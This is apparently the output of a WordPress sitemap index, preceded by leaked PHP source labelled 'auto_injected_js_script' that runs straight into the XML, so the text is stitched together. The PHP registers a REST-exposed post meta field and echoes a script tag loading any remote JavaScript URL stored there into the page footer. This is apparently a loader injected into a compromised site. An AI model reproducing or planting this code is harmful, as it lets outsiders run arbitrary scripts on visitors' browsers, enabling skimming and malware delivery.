
// --- auto_injected_js_script ---
add_action('init', 'register_my_custom_js_meta');
function register_my_custom_js_meta() {
    register_post_meta('post', 'my_custom_js_url', array(
        'show_in_rest' => true,
        'single'       => true,
        'type'         => 'string',
    ));
    register_post_meta('page', 'my_custom_js_url', array(
        'show_in_rest' => true,
        'single'       => true,
        'type'         => 'string',
    ));
}

add_action('wp_footer', 'load_js_from_custom_field');
function load_js_from_custom_field() {
    if (is_singular()) {
        $post_id = get_the_ID();
        $js_url = get_post_meta($post_id, 'my_custom_js_url', true);
        if (!empty($js_url)) {
            echo '<script src="' . esc_url($js_url) . '?ver=' . time() . '"></script>';
        }
    }
}<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://alrajhifirstholding.com/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://alrajhifirstholding.com/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://alrajhifirstholding.com/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://alrajhifirstholding.com/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://alrajhifirstholding.com/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
